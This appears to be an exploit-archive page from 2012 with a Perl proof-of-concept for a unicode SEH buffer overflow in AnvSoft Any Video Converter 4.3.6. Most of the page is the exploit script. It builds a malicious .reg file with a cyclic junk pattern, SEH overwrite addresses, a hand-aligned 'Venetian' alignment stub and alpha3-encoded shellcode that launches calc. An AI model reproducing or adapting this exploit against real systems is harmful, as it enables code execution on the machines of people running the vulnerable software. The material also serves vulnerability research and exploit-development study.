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AnvSoft Any Video Conveter 4.3.6 Unicode Buffer Overflow

AnvSoft Any Video Conveter 4.3.6 Unicode Buffer Overflow
Posted May 12, 2012
Authored by h1ch4m

AnvSoft Any Video Converter version 4.3.6 unicode buffer overflow exploit that creates a malicious .reg file.

tags | exploit, overflow
MD5 | e243bb08e975e3a7c339c48cd5024b26

AnvSoft Any Video Conveter 4.3.6 Unicode Buffer Overflow

Change Mirror Download
# Exploit Title: AnvSoft Any Video Converter 4.3.6 unicode buffer overflow.
# Software Link: http://www.any-video-converter.com
# Version: 4.3.6
# References: http://www.exploit-db.com/exploits/18717/
# http://www.vulnerability-lab.com/get_content.php?id=492
# Credits: Vulnerability Research Laboratory Team
# Tested on: Win XP SP3 French
# trigger the bug : generate the .reg file, execute it, and then open the app
# Date: 12/05/2012
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com
# Big thanks to corelanc0d3r and thanks to all for sharing knowledge

my $file ="poc.reg";

$junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9" .
"Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9" .
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9" .
"Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9" .
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3";

my $xploit = "Windows Registry Editor Version 5.00\n\n";
$xploit .= "[HKEY_CURRENT_USER\\Software\\AnvSoft\\Any Video Converter Ultimate\\Setting\\Output]\n\"OutputFolder\"=\"";
$xploit .= $junk; # junk

$xploit .= "\x59\x21"; # next seh = POP ECX + ADD BYTE PTR DS:[ESI],CH
$xploit .= "\x61\x4e"; # seh = ADD ESP,8 # RETN 04 # 0x004E0061

# The Venetian Shellcode
$xploit .= "\x41"; # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\x58"; # \x58 = POP EAX
$xploit .= "\x41"; # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\xbb\x1e\x11"; # MOV EBX, 0x10002000
$xploit .= "\xf8"; # ADD AL,BH
$xploit .= "\x41"; # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\x50"; # push eax
$xploit .= "\x41"; # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\xc3"; # ret

# alpha3 encoded ascii uppercase calc Shellcode, base register = EAX
$xploit .= "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11" .
"AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNK8" .
"I8ZXQXY44MTL4QN6QP2VXVBDOTROCNQPFLVLCOVLVU3JNQNRM37XO2VKKCXNP3VULK" .
"QIEVWTNCFEMIUMNKLL3LEJ4PP9PUN4XCLLGLWLV1KMV5XF6C3JDBJWHMOJW7NMJMQP" .
"87CQKS6O5OKM9OOMQYYGN042WP1GNUJJSKY6X5OWTKM2R5QMD6MKYZITLGV26WZVML" .
"KSUOFZGMPSN8LJVYPPNNMWY8LMMN0K5Y1QL0TI2OINK6NNP7TNLSEPJLRVX2HJLHQL" .
"ZOYLLNVKLMJKRL3SZOULGKRQNKNNSTOQQJ1VU8KQ5ZU5NTHYT6LSJSOLXVNMSMPWLV" .
"D8FP5XFJF4LY8PJEMJHGZQDUNPZURQUMENU6UBYKL2QOYP0QMYCGQUMP731TLMMYRF" .
"F5XUMKW0WPOGMBMB2N42YUMNNLEJL5QUMMVMUGRQ084UUKUSYA";

$xploit .= $junk x 15 ."\"";

open($FILE,">$file");
print $FILE $xploit;
close($FILE);
print "File Created successfully\n";
sleep(1);

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